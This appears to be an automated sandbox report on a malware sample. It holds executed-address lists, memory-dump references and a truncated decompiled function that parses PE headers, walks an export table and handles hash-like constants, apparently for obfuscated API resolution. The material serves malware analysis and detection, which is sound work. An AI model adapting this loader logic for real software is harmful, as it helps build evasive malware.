0x6efe15ff
0x6efe1604
0x6efe160d
0x6efe1612
0x6efe1614
0x6efe1617
0x6efe161a
0x6efe161f
0x6efe1621
0x6efe1625
0x6efe162a
0x6efe162a
0x6efe162f
0x6efe1631
0x6efe1634
0x6efe1639
0x6efe163a
0x6efe1642
0x6efe1644
0x6efe1649
0x6efe1654
0x6efe1658
0x6efe1660
0x6efe1670
0x6efe1681
0x6efe1686
0x6efe1688
0x6efe16b2
0x6efe16c8
0x6efe16cd
0x6efe16d2
0x6efe16e9
0x6efe16f0
0x6efe16f7
0x6efe16fe
0x6efe1714
0x6efe1716
0x6efe1718
0x6efe26f9
0x6efe26fd
0x6efe2701
0x6efe2706
0x6efe270c
0x6efe2737
0x6efe273b
0x6efe273d
0x6efe273f
0x00000000
0x6efe2745
0x6efe2745
0x6efe274d
0x00000000
0x00000000
0x00000000
0x6efe274d
0x6efe171e
0x6efe171e
0x6efe1727
0x6efe173e
0x6efe1743
0x6efe1750
0x6efe1755
0x6efe1757
0x6efe1764
0x6efe177e
0x6efe1780
0x6efe1782
0x6efe17b5
0x6efe17bc
0x6efe17d2
0x6efe17d4
0x6efe17d6
0x6efe186a
0x6efe1871
0x6efe1878
0x6efe1880
0x6efe1889
0x6efe1889
0x6efe1895
0x6efe18a2
0x6efe18a4
0x6efe18a7
0x6efe18b0
0x6efe18c3
0x6efe18cf
0x6efe18e8
0x6efe18fb
0x6efe1912
0x6efe1917
0x6efe191c
0x6efe1921
0x6efe1924
0x6efe27e7
0x6efe27ec
0x6efe27f6
0x6efe27fd
0x6efe2817
0x6efe282d
0x6efe2843
0x6efe2859
0x6efe286f
0x6efe2885
0x6efe289b
0x6efe28b1
0x6efe28c7
0x6efe28dd
0x6efe28f3
0x6efe2909
0x6efe291f
0x6efe2935
0x6efe294b
0x6efe2961
0x6efe2977
0x6efe298d
0x6efe29a3
0x6efe29b4
0x6efe29c0
0x6efe29ce
0x6efe29d5
0x6efe29ed
0x6efe29fb
0x6efe29fc
0x6efe2a01
0x6efe2a08
0x6efe192a
0x6efe1939
0x6efe193e
0x6efe1948
0x6efe1956
0x6efe1960
0x6efe1962
0x6efe1967
0x6efe1976
0x6efe197a
0x6efe1990
0x6efe19ac
0x6efe19b1
0x6efe19bd
0x6efe19c1
0x6efe19c4
0x6efe19cc
0x6efe19e2
0x6efe19fe
0x6efe1a03
0x6efe1a0f
0x6efe1a13
0x6efe1a16
0x6efe1a1e
0x6efe1a34
0x6efe1a50
0x6efe1a55
0x6efe1a61
0x6efe1a65
0x6efe1a68
0x6efe1a70
0x6efe1a86
0x6efe1aa2
0x6efe1aa7
0x6efe1ab3
0x6efe1ab7
0x6efe1aba
0x6efe1ac2
0x6efe1ad8
0x6efe1af4
0x6efe1af9
0x6efe1b05
0x6efe1b09
0x6efe1b0c
0x6efe1b14
0x6efe1b2a
0x6efe1b46
0x6efe1b4b
0x6efe1b57
0x6efe1b5b
0x6efe1b5e
0x6efe1b66
0x6efe1b7c
0x6efe1b98
0x6efe1b9d
0x6efe1ba9
0x6efe1bad
0x6efe1bb0
0x6efe1bb8
0x6efe1bce
0x6efe1bea
0x6efe1bef
0x6efe1bfb
0x6efe1bff
0x6efe1c02
0x6efe1c0a
0x6efe1c20
0x6efe1c3c
0x6efe1c41
0x6efe1c4d
0x6efe1c51
0x6efe1c54
0x6efe1c5c
0x6efe1c72
0x6efe1c8e
0x6efe1c93
0x6efe1c9f
0x6efe1ca3
0x6efe1ca6
0x6efe1cae
0x6efe1cc4
0x6efe1ce0
0x6efe1ce5
0x6efe1cf1
0x6efe1cf5
0x6efe1cf8
0x6efe1d00
0x6efe1d16
0x6efe1d32
0x6efe1d37
0x6efe1d43
0x6efe1d47
0x6efe1d4a
0x6efe1d52
0x6efe1d68
0x6efe1d84
0x6efe1d89
0x6efe1d95
0x6efe1d99
0x6efe1d9c
0x6efe1da4
0x6efe1dba
0x6efe1dd6
0x6efe1ddb
0x6efe1de7
0x6efe1deb
0x6efe1dee
0x6efe1df6
0x6efe1e0c
0x6efe1e28
0x6efe1e2d
0x6efe1e39
0x6efe1e3d
0x6efe1e40
0x6efe1e48
0x6efe1e5e
0x6efe1e7a
0x6efe1e7f
0x6efe1e8b
0x6efe1e8f
0x6efe1e92
0x6efe1e9a
0x6efe1eb0
0x6efe1ec1
0x6efe1ecc
0x6efe1ed1
0x6efe1ee2
0x6efe1ee5
0x6efe1ef3
0x6efe1ef8
0x6efe1efd
0x6efe1f0f
0x6efe1f14
0x6efe1f19
0x6efe1f2b
0x6efe1f30
0x6efe1f35
0x6efe1f47
0x6efe1f4c
0x6efe1f51
0x6efe1f63
0x6efe1f68
0x6efe1f6d
0x6efe1f7f
0x6efe1f84
0x6efe1f89
0x6efe1f9b
0x6efe1fa0
0x6efe1fa5
0x6efe1fba
0x6efe1fbf
0x6efe1fc4
0x6efe1fd9
0x6efe1fde
0x6efe1fe3
0x6efe1ff8
0x6efe1ffd
0x6efe2002
0x6efe2017
0x6efe201c
0x6efe2021
0x6efe2036
0x6efe203b
0x6efe2040
0x6efe2055
0x6efe205a
0x6efe205f
0x6efe2074
0x6efe2079
0x6efe207e
0x6efe2093
0x6efe2098
0x6efe209d
0x6efe20b2
0x6efe20b7
0x6efe20bc
0x6efe20ce
0x6efe20d3
0x6efe20d8
0x6efe20df
0x6efe20ea
0x6efe20ef
0x6efe20f4
0x6efe20f8
0x6efe20f9
0x6efe2104
0x6efe210c
0x6efe2110
0x6efe2114
0x6efe2115
0x6efe2119
0x6efe211d
0x6efe2121
0x6efe2125
0x6efe212b
0x6efe2133
0x6efe2137
0x6efe2137
0x6efe213d
0x6efe2142
0x6efe2146
0x6efe214e
0x6efe2157
0x6efe215d
0x6efe2166
0x6efe216c
0x6efe2172
0x6efe2178
0x6efe2180
0x6efe2186
0x6efe218c
0x6efe2197
0x6efe21ab
0x6efe21b4
0x6efe21bd
0x6efe21c6
0x6efe21c8
0x6efe21d1
0x6efe21d5
0x6efe21de
0x00000000
0x6efe21e4
0x6efe21e4
0x6efe21f0
0x6efe2203
0x6efe2215
0x6efe2220
0x6efe2227
0x6efe222d
0x6efe2231
0x6efe2236
0x6efe223e
0x6efe2242
0x6efe224b
0x6efe2253
0x6efe2259
0x6efe225d
0x6efe2261
0x6efe226b
0x6efe226c
0x6efe2272
0x6efe2276
0x6efe2277
0x6efe227b
0x6efe2281
0x6efe2285
0x6efe2289
0x6efe228f
0x6efe2295
0x6efe229a
0x6efe229c
0x6efe27c5
0x6efe27cc
0x6efe27d1
0x6efe22a2
0x6efe22a9
0x6efe22ab
0x00000000
0x6efe22b1
0x6efe22bb
0x6efe22c0
0x6efe22d1
0x6efe22e0
0x6efe22fc
0x6efe230a
0x6efe2311
0x6efe231d
0x6efe2329
0x6efe232e
0x6efe232e
0x6efe232e
0x6efe22ab
0x6efe2334
0x6efe233a
0x6efe27ad
0x6efe27b1
0x6efe27b5
0x6efe27bc
0x00000000
0x00000000
0x00000000
0x6efe233a
0x6efe2356
0x6efe2364
0x6efe2370
0x6efe2375
0x6efe2384
0x6efe2388
0x6efe239e
0x6efe23ba
0x6efe23bf
0x6efe23cb
0x6efe23cf
0x6efe23d2
0x6efe23da
0x6efe23f0
0x6efe240c
0x6efe2411
0x6efe241d
0x6efe2421
0x6efe2424
0x6efe242c
0x6efe2442
0x6efe245e
0x6efe2463
0x6efe246f
0x6efe2473
0x6efe2476
0x6efe247e
0x6efe2494
0x6efe24a5
0x6efe24b0
0x6efe24b7
0x6efe24c3
0x6efe24c4
0x6efe24c8
0x6efe24c9
0x6efe24d5
0x6efe24e3
0x6efe24e8
0x6efe24ed
0x6efe24ff
0x6efe2504
0x6efe2509
0x6efe251b
0x6efe2520
0x6efe2525
0x6efe2537
0x6efe253c
0x6efe2548
0x6efe254d
0x6efe2559
0x6efe2565
0x6efe2566
0x6efe2571
0x6efe2575
0x6efe2576
0x6efe257a
0x6efe257e
0x6efe2587
0x6efe258b
0x6efe258f
0x6efe25ac
0x6efe25c0
0x6efe25c7
0x00000000
0x6efe2340
0x6efe2340
0x6efe2340
0x6efe2348
0x6efe2348
0x6efe234a
0x6efe234e
0x6efe2352
0x00000000
0x6efe2352
0x6efe25cc
0x6efe25cc
0x6efe25d0
0x6efe25d2
0x6efe25d4
0x6efe25d9
0x6efe25db
0x6efe25de
0x6efe25ec
0x6efe25f1
0x6efe25f4
0x6efe25f6
0x6efe25f8
0x6efe25f8
0x6efe25fb
0x6efe2603
0x6efe2650
0x6efe2650
0x6efe2658
0x6efe26a5
0x6efe26ac
0x6efe26b8
0x6efe26c4
0x6efe26d0
0x6efe26dc
0x6efe26ef
0x6efe265a
0x6efe2669
0x6efe266b
0x6efe266d
0x6efe266f
0x6efe266f
0x6efe2687
0x6efe2687
0x6efe2693
0x6efe2698
0x6efe269a
0x00000000
0x6efe269c
0x6efe269c
0x6efe26a3
0x6efe26a4
0x6efe26a4
0x6efe269a
0x6efe2605
0x6efe2614
0x6efe2616
0x6efe2618
0x6efe261a
0x6efe261a
0x6efe2632
0x6efe2632
0x6efe263e
0x6efe2643
0x6efe2645
0x00000000
0x6efe2647
0x6efe2647
0x6efe264e
0x6efe264f
0x6efe264f
0x6efe2645
0x6efe17dc
0x6efe17de
0x6efe17f4
0x6efe17f6
0x6efe17f8
0x00000000
0x6efe17fa
0x6efe17fa
0x6efe1802
0x6efe180b
0x6efe180b
0x6efe1810
0x6efe1818
0x00000000
0x6efe181e
0x6efe1828
0x6efe182d
0x6efe182f
0x6efe1852
0x6efe1857
0x6efe1859
0x00000000
0x6efe185f
0x6efe185f
0x6efe1863
0x6efe1864
0x6efe1864
0x6efe1831
0x6efe1831
0x6efe1837
0x6efe1839
0x6efe183a
0x6efe183b
0x6efe183c
0x6efe183e
0x6efe1845
0x6efe1846
0x6efe1847
0x6efe1847
0x6efe182f
0x6efe1818
0x6efe17f8
0x6efe1784
0x6efe1786
0x6efe179c
0x6efe179e
0x6efe17a0
0x00000000
0x6efe17a2
0x6efe17a2
0x6efe17aa
0x00000000
0x00000000
0x6efe17b0
0x00000000
0x6efe17aa
0x6efe17a0
0x6efe1759
0x6efe1759
0x6efe1760
0x6efe1762
0x6efe1763
0x6efe1763
0x6efe1757
0x6efe16d4
0x6efe16d4
0x6efe16dc
0x6efe274f
0x6efe2756
0x00000000
0x6efe16e2
0x6efe275b
0x6efe2762
0x6efe276e
0x6efe277a
0x6efe2786
0x6efe2792
0x6efe2797
0x6efe27a5
0x6efe27a5
0x6efe168a
0x6efe168a
0x6efe1693
0x6efe1694
0x6efe1699
0x6efe169b
0x6efe169c
0x6efe169d
0x6efe16a9
0x6efe16aa
0x6efe16ab
0x6efe16ab
0x6efe15ca
0x6efe15d1
0x6efe15e7
0x6efe15e7

Strings

)8GV, xrefs: 6EFE1956
)8GV, xrefs: 6EFE27FD

Memory Dump Source

Source File: 00000000.00000002.888568308.000000006EFE1000.00000020.00020000.sdmp, Offset: 6EFE0000, based on PE: true

Associated: 00000000.00000002.888087050.000000006EFE0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.894194867.000000006F015000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.895199607.000000006F01B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.895701456.000000006F01C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: )8GV$)8GV
API String ID: 0-993736920
Opcode ID: cdf8ad7d063b486b34aabfb52dc6ecbb0608be668623d1ece673a44c3f4a075b
Instruction ID: 109751bdfac76b779d75438b5d4f4ed56842bb1c82bfd5cf489cac324fdedc4a
Opcode Fuzzy Hash: cdf8ad7d063b486b34aabfb52dc6ecbb0608be668623d1ece673a44c3f4a075b
Instruction Fuzzy Hash: 62A25D729187819AE331EF64C961BEFB3E4AFE2318F004A1DA589572D6EF30A544C752

Uniqueness

Uniqueness Score: -1.00%

Function 6EFEACD0, Relevance: 2.9, Strings: 1, Instructions: 1641
COMMONCrypto

Download Yara Rule

C-Code - Quality: 73%

			E6EFEACD0(intOrPtr __ecx, intOrPtr __edx, void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v28;
				char _v76;
				char _v80;
				char _v84;
				char _v88;
				char _v92;
				char _v96;
				char _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				char _v120;
				signed int _v124;
				char _v128;
				char _v132;
				signed int _v136;
				signed int _v140;
				signed int _v144;
				char _v148;
				char _v156;
				char _v160;
				char _v164;
				signed int _v168;
				char _v172;
				char _v176;
				char _v180;
				signed int _v192;
				char _v196;
				char _v200;
				char _v216;
				char _v220;
				char _v232;
				char _v248;
				void* _v252;
				char _v256;
				char _v260;
				char _v264;
				intOrPtr _v268;
				intOrPtr _v272;
				void* _v276;
				char _v280;
				signed int _v284;
				char _v288;
				char _v292;
				intOrPtr _v296;
				signed int _v300;
				signed int _v304;
				char _v308;
				char _v312;
				char _v316;
				signed int _v320;
				char _v324;
				char _v328;
				char _v332;
				char _v336;
				char _v340;
				signed int _v344;
				signed int _v348;
				signed int _v352;
				signed int _v356;
				void* _v364;
				char _v368;
				void* _v372;
				char _v376;
				char _v380;
				char _v384;
				char _v388;
				char _v392;
				char _v396;
				char _v400;
				void* _v404;
				char _v408;
				char _v412;
				char _v416;
				char _v420;
				char _v424;
				char _v428;
				char _v432;
				char _v436;
				void* _v440;
				char _v444;
				void* _v448;
				char _v452;
				char _v460;
				intOrPtr _v464;
				void* _v468;
				void* _v472;
				void* _v476;
				char _v480;
				void* _v484;
				void* _v488;
				intOrPtr _v492;
				void* _v496;
				void* _v500;
				void* _v504;
				intOrPtr _v508;
				void* _v520;
				void* _v524;
				void* _v528;
				void* _v532;
				char _v536;
				intOrPtr _v540;
				intOrPtr _v544;
				void* _v548;
				intOrPtr _v552;
				void* _v556;
				char _v560;
				signed short* _v564;
				signed int _v568;
				signed int _v572;
				char _v576;
				intOrPtr _v580;
				signed int _v584;
				void* _v588;
				void* _v592;
				void* _v596;
				char _v604;
				char _v612;
				char _v616;
				char _v620;
				char _v624;
				signed int _v628;
				char _v636;
				intOrPtr _v640;
				char _v644;
				void* _v648;
				signed int _v656;
				char _v660;
				char _v668;
				char _v676;
				signed int _v680;
				intOrPtr _v700;
				void* _v704;
				void* _v708;
				void* _v716;
				intOrPtr _v724;
				intOrPtr _v732;
				signed int _v736;
				signed int _v740;
				intOrPtr _v744;
				void* _v748;
				void* _v756;
				void* _v764;
				void* _v772;
				void* _v776;
				void* _v780;
				void* _v784;
				void* _v788;
				void* _v796;
				void* _v800;
				void* _v804;
				void* _v808;
				void* _v812;
				void* _v816;
				void* _v820;
				void* _v824;
				void* _v828;
				void* _v836;
				void* _v840;
				void* _v844;
				void* _v848;
				void* _v852;
				void* _v856;
				void* _v860;
				void* _v868;
				void* _v872;
				void* _v876;
				void* _v880;
				void* _v888;
				void* _v892;
				void* _v908;
				void* _v940;
				void* _v944;
				void* _v948;
				void* _v952;
				void* _v956;
				void* _v960;
				void* _v964;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t632;
				void* _t667;
				signed int _t672;
				char _t747;
				signed int _t768;
				signed int _t770;
				signed int _t778;
				char* _t781;
				signed int _t782;
				signed int _t793;
				signed int _t795;
				char* _t798;
				signed int _t799;
				signed int _t810;
				signed int _t812;
				signed int _t813;
				signed int _t815;
				intOrPtr _t865;
				intOrPtr _t900;
				signed int _t911;
				char _t974;
				signed char* _t1005;
				signed int _t1006;
				void* _t1008;
				void* _t1011;
				intOrPtr _t1017;
				signed int _t1021;
				char _t1030;
				char _t1035;
				signed int _t1036;
				char* _t1038;
				signed int _t1040;
				signed int _t1041;
				signed int* _t1043;
				signed int _t1044;
				void* _t1045;
				void* _t1047;
				void* _t1055;
				void* _t1065;
				char* _t1154;
				signed int _t1326;
				signed short* _t1435;
				void* _t1438;
				char* _t1449;
				char* _t1452;
				signed int _t1455;
				signed int _t1457;
				signed int _t1459;
				signed int _t1460;
				signed int _t1465;
				signed int _t1466;
				signed int _t1467;
				signed int _t1481;
				void* _t1485;
				signed int _t1487;
				char _t1498;
				void* _t1499;
				void* _t1500;
				char _t1503;
				void* _t1514;
				void* _t1518;
				char _t1531;
				signed int _t1537;
				signed int _t1538;
				signed int _t1539;
				char _t1540;
				intOrPtr _t1542;
				signed int _t1543;
				signed int _t1545;
				void* _t1547;
				void* _t1567;
				void* _t1569;
				signed int _t1570;
				void* _t1572;
				void* _t1573;
				void* _t1574;
				void* _t1576;

				_t1572 = (_t1570 & 0xfffffff0) - 0x254;
				_v540 = __edx;
				_v28 = __ecx;
				_t1534 =  *((intOrPtr*)(__ecx + 0xc));
				E6EFF15C0(0x57325ee3, 0xb7186560);
				_push(0);
				E6F009350( &_v192);
				_v180 = 0;
				_push(0);
				E6F009350( &_v176);
				_push(0);
				E6F009350( &_v76);
				_v536 = 0x58d59bc9;
				asm("pxor xmm0, xmm0");
				asm("movq [esp+0x68], xmm0");
				E6F009670( &_v80, E6F009650( &_v80) + 0x10);
				E6F009640( &_v84, E6F009650( &_v84) + 0xfffffff0);
				asm("movups xmm0, [esp+0x60]");
				asm("pxor xmm1, xmm1");
				asm("movups [eax], xmm0");
				_v544 = 0x3b4caff7;
				asm("movq [esp+0x68], xmm1");
				E6F009670( &_v88, E6F009650( &_v88) + 0x10);
				E6F009640( &_v92, E6F009650( &_v92) + 0xfffffff0);
				asm("movups xmm0, [esp+0x60]");
				asm("pxor xmm1, xmm1");
				asm("movups [eax], xmm0");
				_v552 = 0xd9ff67e3;
				asm("movq [esp+0x68], xmm1");
				E6F009670( &_v96, E6F009650( &_v96) + 0x10);
				E6F009640( &_v100, E6F009650( &_v100) + 0xfffffff0);
				asm("movups xmm0, [esp+0x60]");
				asm("pxor xmm1, xmm1");
				asm("movups [eax], xmm0");
				_v560 = 0xbcd9ca71;
				asm("movq [esp+0x68], xmm1");
				E6F009670( &_v104, E6F009650( &_v104) + 0x10);
				E6F009640( &_v108, E6F009650( &_v108) + 0xfffffff0);
				asm("movups xmm0, [esp+0x60]");
				asm("pxor xmm1, xmm1");
				asm("movups [eax], xmm0");
				_v568 = 0x1be15feb;
				asm("movq [esp+0x68], xmm1");
				E6F009670( &_v112, E6F009650( &_v112) + 0x10);
				E6F009640( &_v116, E6F009650( &_v116) + 0xfffffff0);
				asm("movups xmm0, [esp+0x60]");
				asm("pxor xmm1, xmm1");
				asm("movups [eax], xmm0");
				_v576 = 0xebe915fa;
				asm("movq [esp+0x68], xmm1");
				E6F009670( &_v120, E6F009650( &_v120) + 0x10);
				E6F009640( &_v124, E6F009650( &_v124) + 0xfffffff0);
				asm("movups xmm0, [esp+0x60]");
				asm("movups [eax], xmm0");
				E6F011270(0x588ab3ea,  &_v128);
				E6F009640( &_v128, 0);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [esp+0x1d8], xmm0");
				E6F009640( &_v132, 0x10);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [esp+0x1e0], xmm0");
				E6F009640( &_v136, 0x20);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [esp+0x1f0], xmm0");
				E6F009640( &_v140, 0x30);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [esp+0x1f8], xmm0");
				E6F009640( &_v144, 0x40);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [esp+0x200], xmm0");
				E6F009640( &_v148, 0x50);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [eax-0x38], xmm0");
				 *((intOrPtr*)( &_v128 - 0x98)) = _t1534;
				E6EFED570( &_v280,  &_v136,  &_v128);
				_t1487 = _v140;
				_t1027 = _v136;
				if((_t1487 | _v136) != 0) {
					_push(0x40);
					E6F009350( &_v288);
					E6F010FA0(_t1534, E6F009640( &_v292, 0), __eflags, _t1487, _t1027, 0x40, 0);
					_t1435 = E6F009640( &_v312, 0);
					__eflags = ( *_t1435 & 0x0000ffff) - 0x5a4d;
					if(( *_t1435 & 0x0000ffff) == 0x5a4d) {
						asm("cdq");
						_v560 = _t1435[0x1e] + _t1487;
						asm("adc edx, ebx");
						_v564 = _t1435;
						_push(0x108);
						E6F009350( &_v388);
						E6F010FA0(_t1534, E6F009640( &_v392, 0), __eflags, _v568, _v572, 0x108, 0);
						_push( &_v412);
						E6F009520( &_v316);
						E6F009510( &_v416);
						_t632 = E6F009640( &_v320, 0);
						__eflags =  *_t632 - 0x4550;
						if( *_t632 != 0x4550) {
							goto L3;
						} else {
							_t1481 =  *(_t632 + 0x88);
							_v568 = _t1481;
							_v572 =  *((intOrPtr*)(_t632 + 0x8c));
							__eflags = _t1481;
							if(_t1481 == 0) {
								goto L3;
							} else {
								__eflags = _v572;
								if(_v572 == 0) {
									goto L3;
								} else {
									_push(_v572);
									E6F009350( &_v396);
									_t1011 = E6F009640( &_v400, 0);
									asm("adc ebx, 0x0");
									E6F010FA0(_t1534, _t1011, __eflags, _t1487 + _v576, _t1027, _v580, 0);
									_push( &_v420);
									E6F009520( &_v324);
									E6F009510( &_v424);
									_t1065 = E6F009640( &_v328, 0);
									_t1017 =  *((intOrPtr*)(_t1572 + 0x44));
									 *((intOrPtr*)(_t1065 + 0x1c)) =  *((intOrPtr*)(_t1065 + 0x1c)) - _t1017;
									 *((intOrPtr*)(_t1065 + 0x24)) =  *((intOrPtr*)(_t1065 + 0x24)) - _t1017;
									 *((intOrPtr*)(_t1065 + 0x20)) =  *((intOrPtr*)(_t1065 + 0x20)) - _t1017;
									_t1485 = E6F009640( &_v332,  *((intOrPtr*)(_t1065 + 0x20)) - _t1017);
									__eflags =  *(_t1065 + 0x18);
									if( *(_t1065 + 0x18) > 0) {
										_v560 = _t1534;
										_t1021 = 0;
										__eflags = 0;
										_t1531 = _v576;
										while(1) {
											_t1021 = _t1021 + 1;
											 *((intOrPtr*)(_t1485 + _t1021 * 8 - 8)) =  *((intOrPtr*)(_t1485 + _t1021 * 8 - 8)) - _t1531;
											_t554 = _t1021 - 1; // 0x0
											_t1567 = _t1021 + _t1021;
											__eflags = _t1021 + _t554 -  *(_t1065 + 0x18);
											if(_t1021 + _t554 >=  *(_t1065 + 0x18)) {
												break;
											}
											 *((intOrPtr*)(_t1485 + _t1021 * 8 - 4)) =  *((intOrPtr*)(_t1485 + _t1021 * 8 - 4)) - _t1531;
											__eflags = _t1567 -  *(_t1065 + 0x18);
											if(_t1567 <  *(_t1065 + 0x18)) {
												continue;
											}
											break;
										}
										_t1534 = _v560;
									}
									_push( &_v308);
									E6F0093D0( &_v292);
								}
							}
						}
					} else {
						L3:
						_push(0);
						E6F009350( &_v284);
					}
					E6F009510( &_v304);
					E6F00A110( &_v88);
					_v544 = 0x41195991;
					asm("pxor xmm0, xmm0");
					asm("movq [esp+0x68], xmm0");
					E6F009670( &_v88, E6F009650( &_v88) + 0x10);
					E6F009640( &_v92, E6F009650( &_v92) + 0xfffffff0);
					asm("movups xmm0, [esp+0x60]");
					asm("pxor xmm1, xmm1");
					asm("movups [eax], xmm0");
					_v552 = 0x77be1f6;
					asm("movq [esp+0x68], xmm1");
					E6F009670( &_v96, E6F009650( &_v96) + 0x10);
					E6F009640( &_v100, E6F009650( &_v100) + 0xfffffff0);
					asm("movups xmm0, [esp+0x60]");
					asm("pxor xmm1, xmm1");
					asm("movups [eax], xmm0");
					_v560 = 0xb5cdecc0;
					asm("movq [esp+0x68], xmm1");
					E6F009670( &_v104, E6F009650( &_v104) + 0x10);
					E6F009640( &_v108, E6F009650( &_v108) + 0xfffffff0);
					asm("movups xmm0, [esp+0x60]");
					_t1573 = _t1572 + 0xfffffff4;
					asm("movups [eax], xmm0");
					asm("movq xmm1, [edx+0xd8]");
					asm("movq [esp], xmm1");
					_v668 =  &_v112;
					E6EFEE780( &_v312, _t1534, __eflags);
					E6F009640( &_v124, 0);
					asm("movq xmm0, [eax+0x8]");
					asm("movq [esp+0x1e8], xmm0");
					E6F009640( &_v128, 0x10);
					asm("movq xmm0, [eax+0x8]");
					asm("movq [esp+0x210], xmm0");
					_t1438 = E6F009640( &_v132, 0x20);
					_v268 =  *((intOrPtr*)(_t1438 + 8));
					 *((intOrPtr*)(_t1573 + 0x218)) =  *((intOrPtr*)(_t1438 + 0xc));
					_push(0);
					E6F009350( &_v320);
					_push(0);
					E6F009350( &_v308);
					_push(0);
					_push( *0x6f019d74);
					E6EFF1BA0(__eflags,  &_v284);
					E6F009B10( &_v340);
					E6F000B10( &_v284);
					E6F009670( &_v328, E6F009A90( &_v344, _t1534));
					_t667 = E6F009640( &_v348, 0);
					E6EFEAC20(_t1569, _t667, E6F009640( &_v336, 0), _v296);
					_t1574 = _t1573 + 8;
					_t1030 = E6F009650( &_v340);
					_t95 = _t1030 + 2; // 0x2
					_v180 = E6EFED860( &_v300, 0x20000000, __eflags, _t95);
					_v640 = 0x20000000;
					_t672 = E6EFEDB60( &_v304, 0x80000000, __eflags, 0x82);
					_v192 = _t672;
					 *(_t1574 + 0x220) = 0x80000000;
					__eflags = _t672 |  *(_t1574 + 0x220);
					if((_t672 |  *(_t1574 + 0x220)) == 0) {
						L6:
						E6F009510( &_v288);
						E6F009510( &_v304);
						E6F009510( &_v320);
						E6F009510( &_v120);
						E6EFEE2F0(_t1030, _t1574 + 0x1bc, _t1569);
						E6F009510(_t1574 + 0x1ac);
						__eflags = 0;
						return 0;
					} else {
						__eflags = _v124 | _v584;
						if((_v124 | _v584) != 0) {
							E6EFF0B70( &_v560, 0, 0x80);
							_t1576 = _t1574 + 0xc;
							_v464 = _a4;
							_push(0);
							_push(0);
							E6F012060(_t1030,  &_v400, 0, _t1534);
							_v348 =  *((intOrPtr*)(_t1576 + 0x48));
							_t1449 =  &_v408;
							 *((intOrPtr*)(_t1449 + 0x38)) = _a8;
							_push(_t1449);
							E6EFEE090( &_v384, _t1534,  &_v352);
							asm("cdq");
							asm("movd xmm1, eax");
							asm("movd xmm0, edx");
							asm("punpckldq xmm1, xmm0");
							asm("movq [esp+0xb0], xmm1");
							_v508 = E6F009650(_a8);
							asm("cdq");
							asm("movd xmm1, eax");
							asm("movd xmm0, edx");
							asm("punpckldq xmm1, xmm0");
							asm("movq [esp+0xc0], xmm1");
							_v492 = E6F009650(_v620);
							asm("cdq");
							asm("movd xmm1, eax");
							asm("movd xmm0, edx");
							asm("punpckldq xmm1, xmm0");
							asm("movq [edi-0xb8], xmm1");
							E6F010FA0(_t1534,  &_v460, __eflags, _v272, _v156, 7,  &_v292);
							_t1154 =  &_v156;
							 *((intOrPtr*)(_t1154 - 0x148)) = _v288;
							 *((intOrPtr*)(_t1154 - 0x144)) =  *((intOrPtr*)(_t1154 - 0x10));
							E6F00A110(_t1154);
							_v612 = 0x9cac62c7;
							asm("pxor xmm0, xmm0");
							asm("movq [esp+0x68], xmm0");
							E6F009670( &_v156, E6F009650( &_v156) + 0x10);
							E6F009640( &_v160, E6F009650( &_v160) + 0xfffffff0);
							asm("movups xmm0, [esp+0x60]");
							asm("pxor xmm1, xmm1");
							asm("movups [eax], xmm0");
							_v620 = 0xa8f2638d;
							asm("movq [esp+0x68], xmm1");
							E6F009670( &_v164, E6F009650( &_v164) + 0x10);
							E6F009640( &_v168, E6F009650( &_v168) + 0xfffffff0);
							asm("movups xmm0, [esp+0x60]");
							asm("pxor xmm1, xmm1");
							asm("movups [eax], xmm0");
							_v628 = 0xd8cc7390;
							asm("movq [esp+0x68], xmm1");
							E6F009670( &_v172, E6F009650( &_v172) + 0x10);
							E6F009640( &_v176, E6F009650( &_v176) + 0xfffffff0);
							asm("movups xmm0, [esp+0x60]");
							asm("pxor xmm1, xmm1");
							asm("movups [eax], xmm0");
							_v636 = 0x6a68465a;
							asm("movq [esp+0x68], xmm1");
							E6F009670( &_v180, E6F009650( &_v180) + 0x10);
							E6F009640(_t1576 + 0x22c, E6F009650(_t1576 + 0x228) + 0xfffffff0);
							asm("movups xmm0, [esp+0x60]");
							asm("pxor xmm1, xmm1");
							asm("movups [eax], xmm0");
							_v644 = 0x58d59bc9;
							asm("movq [esp+0x68], xmm1");
							E6F009670(_t1576 + 0x22c, E6F009650(_t1576 + 0x228) + 0x10);
							E6F009640( &_v192, E6F009650( &_v192) + 0xfffffff0);
							asm("movups xmm0, [esp+0x60]");
							asm("pxor xmm1, xmm1");
							asm("movups [eax], xmm0");
							 *((intOrPtr*)(_t1576 + 0x60)) = 0xe9fbf3a8;
							asm("movq [esp+0x68], xmm1");
							E6F009670( &_v196, E6F009650( &_v196) + 0x10);
							E6F009640( &_v200, E6F009650( &_v200) + 0xfffffff0);
							asm("movups xmm0, [esp+0x60]");
							asm("pxor xmm1, xmm1");
							asm("movups [eax], xmm0");
							_v660 = 0x649746ec;
							asm("movq [esp+0x68], xmm1");
							E6F009670(_t1576 + 0x22c, E6F009650(_t1576 + 0x228) + 0x10);
							E6F009640(_t1576 + 0x22c, E6F009650(_t1576 + 0x228) + 0xfffffff0);
							asm("movups xmm0, [esp+0x60]");
							asm("pxor xmm1, xmm1");
							asm("movups [eax], xmm0");
							_v668 = 0x35b39b2b;
							asm("movq [esp+0x68], xmm1");
							E6F009670(_t1576 + 0x22c, E6F009650(_t1576 + 0x228) + 0x10);
							E6F009640( &_v216, E6F009650( &_v216) + 0xfffffff0);
							asm("movups xmm0, [esp+0x60]");
							_t1452 =  &_v220;
							asm("movups [eax], xmm0");
							E6F011270(0x588ab3ea, _t1452);
							E6F009640( &_v220, 0);
							asm("movq xmm0, [eax+0x8]");
							asm("movq [esp+0x70], xmm0");
							E6F009640(_t1576 + 0x22c, 0x10);
							asm("movq xmm0, [eax+0x8]");
							asm("movq [esp+0x78], xmm0");
							E6F009640(_t1576 + 0x22c, 0x20);
							asm("movq xmm0, [eax+0x8]");
